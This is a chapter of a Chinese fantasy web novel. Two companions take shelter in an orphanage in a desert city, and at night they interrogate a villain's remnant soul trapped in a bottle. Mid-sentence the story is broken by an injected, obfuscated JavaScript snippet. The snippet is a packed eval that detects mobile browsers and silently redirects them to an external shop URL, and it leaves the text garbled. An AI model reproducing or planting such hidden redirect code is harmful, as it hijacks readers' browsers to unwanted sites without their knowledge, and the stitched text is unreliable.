现在杨千福的记忆处于一种记起来但没有完全记起来的状态,与其说恢复了他丢掉那三年的记忆,不如说有人把这些东西打包成话本在他脑子里过了一遍。
大概的情节是知道了,但是细节与人脸他是一点也想不起来。只有一点他能确定,仇荣亲口认证的,莫归一肯定是他师兄了。
但为什么他说不出口?
师兄这两个字始终梗在杨千福喉咙中,不上不下的憋得慌。
暂时把这个问题放在一边,杨千福酝酿了片刻道:“如你方才所说,我们两梦里的内容基本对的上,假设我们真的在秘境中轮回了不止一次,会不会是上一次我们疏忽了什么地方才导致这一次我们又重头来过了?那这一次我们会不会又因为什么错漏被打回原形?”
莫归一点点头,然后就看杨千福一头倒在床榻上,发出一声闷响。
“我不行了,好累啊……”
杨千福伸手抓过被子,把自己的头蒙住,试图逃避现实。
坐在床边的莫归一也叹息一声,别说杨少爷累,就连他也有点受不了了。这种疲惫不止是□□上的,心灵上的折磨更是令人难捱。
沉默了片刻,莫归一伸手戳了戳裹成一团的杨千福:“倒也不必太过担忧,至少现在……”
还没说完,他就发现被子下的人似乎安静的有点过分了。掀开被子一看,杨千福已经睡的天昏地暗,哈喇子都快流到床单上了。
莫归一有点嫌弃的往一旁挪了位置,再看一眼,又认命的帮杨千福脱了鞋,挪到枕头上躺好。
至少现在他们两还呆在一块,之后不论再遇到什么险境,他们还能一同面对。
回过头去,莫归一便看见门口麦提加推开门缝正要讲话,于是他连忙把食指竖在嘴前,做了一个嘘声的动作。
“对了,泥们的枣子窝给泥放进来……”麦提加压低声音轻手轻脚的走了进来,把杨千福那一包枣子放在房内的桌上,又蹑手蹑脚的回去,顺带赶跑了门口一堆围着看热闹的小孩。
此时杨千福其实还没有彻底睡着,迷迷糊糊的他好像还能听见些声音,但不知何时起那些声音都渐渐远去,黑甜的梦境席卷了他的意识。
醒来时窗外已经一片漆黑,桌角点着不太明亮的油灯,房内只有他一人。杨千福打了个哈欠,这床太硬,睡醒了觉得身上哪哪都痛。
不过好歹是个安稳觉。
门口留了一条透着光的缝,传来一阵食物香气。杨千福顺着光源走过去推开门,一开门就被冷风吹得一个激灵。这地方晚上这么比白天冷这么多?他身上穿着的还是临安初春的衣衫,再回头一看,桌上原来已经给他留了一套叠好的棉衣。
入乡随俗的换好了本土服饰,杨千福这才走出门去。窗外的葡萄架下从高到矮坐了一群小萝卜头,人手捧着一个脸盘子大的馕吃的正香。莫归一跟麦提加混在中间,在中间的篝火上加热烤馕。
“泥醒啦,来次东西吧。”麦提加让开一个位置,让杨千福坐到他跟莫归一中间。
很难想象在秘境里还能有这么温馨的一幕。捧着馕烤着火,杨少爷觉得新奇的不得了。
几番交谈下来,他们在麦提加口中打探到了一些有用的消息。首先是关于图什,在麦提加口中图什很久没有见过外来的商旅了,就连他们两个来朝拜的岳人也是极其少见。
除此之外,没有什么异常之处。
而图什本身分为内城外城。内城居住的大多是贵族僧侣,外城是平民商人,他们现在所在的地方就是图什外城。只有每年盂兰法会内城的人才有机会进外城朝拜一次,他们来的很凑巧,大概一月之后就是今年的盂兰法会。
想起白天的街市,除去遇到的强盗,图什看起来还是十分热闹繁荣的。外城都这般繁荣,那内城得奢华成什么样啊。
朝着内城的方向看去,除去戈壁他只能看见一个塔楼的楼顶,也不知关押着什么人。
漫无边际的想着,杨千福咬下一口馕。又干又硬,只吃一口他就默默放下了这块馕。看向吃的正欢的孩子们,他由衷的感到一阵同情。
忽然杨千福想到一个问题,这慈幼院有十来个小孩了,难道就麦提加一个土大款带小孩吗?他怎么没看见专门负责带孩子的人呢。
正想到这,他就听麦提加叹气一声,看了他们几眼,一副欲言又止的模样。
莫归一道:“麦先生,有什么事你直说就好。”
“窝补姓麦……算鸟,其实窝想问泥们两个愿不愿意帮窝一个忙。窝这里上一个帮工不愿意干了,现在这些孩子没有人带,泥们可以暂时帮我看几天院子吗?窝会给你们付工钱。”
图什这么大,出去的阵眼不是一时半会就能找到的,把这里当个落脚点倒是不错的选择。两人对视一眼点了点头,就干脆的答应了麦提加的提议。
麦提加看起来一下轻松了不少:“太好了,太好了。那这些孩子就交给泥们了,窝都好几天没回家了,现在终于能放心回去了。”
就在此时,一个小孩惊恐的看向杨千福,眼睛瞪得又大又圆。
“***!”
这一串话杨千福听不懂,但他身边的麦提加听了却是脸色一变,对着小孩骂了一句什么。
“怎么了?”杨千福奇怪的问道。
那小孩怯怯的又看了他一眼,然后居然吓得哭了出来。
这这一哭,温馨的氛围荡然无存,葡萄架外篝火无法照亮的角落显得阴测测的,杨千福打了个寒战不由得往莫归一那又靠近了些。
麦提加没办法的看着那个孩子,吹着胡子对杨千福解释了两句:“帕米喜欢说胡话,老是说他看见了**。”
虽然这个词杨千福没听懂,但他还是了然的点点头,大概猜出来了这是什么意思——小孩子确实容易看见脏东西。
但这小孩对着他哭是怎么回事?他自觉皮相不差,怎么可能面目可憎到会吓哭小孩?
可惜麦提加的汉话水平有限,最后也没讲明白到底是怎么一回事。
这小孩一哭,大家也没心情再吃下去。看夜色渐沉,麦提加简单带他们了解了下这个不大的慈幼院的构造,就催促这群孩子赶紧上床睡觉。
小孩们的卧室在二楼,男孩和女孩分了两个房间,里面都是铺着摊子的大通铺。临走前杨千福多看了几眼帕米,他身
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497507|202570||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
边有几个稍大一些的孩子在安抚他的情绪,但那孩子盯着他的眼神却让他心中不寒而栗,好像被由内而外看穿了一样。
当天夜里,可能是白天补的觉多了,杨千福躺在床上翻来覆去始终无法入睡。一闭眼那小孩的眼神就会浮现在他脑海中。
不一会后,披着毛毡毯子的杨千福站在隔壁房门口,叩门的手悬停在门上迟迟敲不下去。
三更半夜扰人清梦,他怕莫归一会揍他。
但不等他多犹豫一会,房门就从内侧被打开,一道阴影打在杨千福脸上。
“这么晚了,莫兄怎么还不睡啊。”杨千福不太好意思的问道,随后逮着机会就往门缝里钻。
莫归一揉了揉眼,没办法的让开一条道,回头点上油灯坐在桌前。
“刚好你来了,我给你看个东西。”
杨千福跟着莫归一坐下,就看见对方掏出一个有点眼熟的酱油瓶。
这不是通幽寺伙房的调味瓶吗?
对自己用过的厨具,杨千福记得挺清楚。莫归一现在掏出这东西难道是饿了,想让他半夜起来开个小灶?
莫归一道:“之前一直忘记这东西了。里面是仇荣的一缕残魂,当时审到一半就被打断,我就暂时把他收进来了。”
这人对自己也是够狠,分离魂魄的痛苦杨千福想想就腿软了。但一想到他的所作所为,又觉得这都是他罪有应得。
杨千福跃跃欲试的盯着瓶塞:“所以现在轮到我来审问他了对吧?”
真是风水轮流转,你仇荣下咒的时候心高气傲,现在成了阶下囚可是生死难料。杨千福已经想好了一堆折磨人的法子,不怕仇荣不招供。
看着眼前摩拳擦掌的少爷,莫归一莫名感觉身后凉飕飕的。
拔出瓶塞朝里看去,瓶中能看见一只蜷缩着的小人,坐在瓶底没有任何反应。
“装死?”见状杨千福盖上瓶塞,开始死命摇晃瓶子,还高高抛起转了几圈。
莫归一就趴在桌上支着脸看杨千福操作,在这一块他还真比不上这少爷见多识广。
觉得仇荣的脑浆差不多摇匀了,杨千福才把瓶子放在桌上打开,一开木塞他就听见瓶中传来熟悉的谩骂声。
“呕……杨千福你要死啊?”
物理唤醒了这残魂,杨千福正襟危坐,庄严道:“瓶内何人?报上名来!”
瓶内的仇荣扶着瓶壁,艰难的望向瓶口:“这又是玩的哪一出,杀生不虐生啊。”
“还敢嘴硬?莫捕头,上刑!”杨千福扭头给了一个眼神,莫归一就意会的拿起瓶子放在烛火外焰上。
审讯要审的快,诀窍就是得先上过一遍酷刑,等人奄奄一息时才是最容易开口的时候。现在杨千福眼中没有一点对逼供的渴望,只有蓄意报复的决心。
瓶底一烧,被困在瓶中的仇荣如同被点着了尾巴的耗子,一窜三尺高,却在看似空无一物的瓶口处撞得眼冒金星。
看差不多了,杨千福才悠悠问道:“落在我手里算你倒霉,离魄的解药在哪?坦白从宽抗拒从严。”
但莫归一却眉头一蹙,比仇荣更快出声道:“什么解药?谁中毒了?”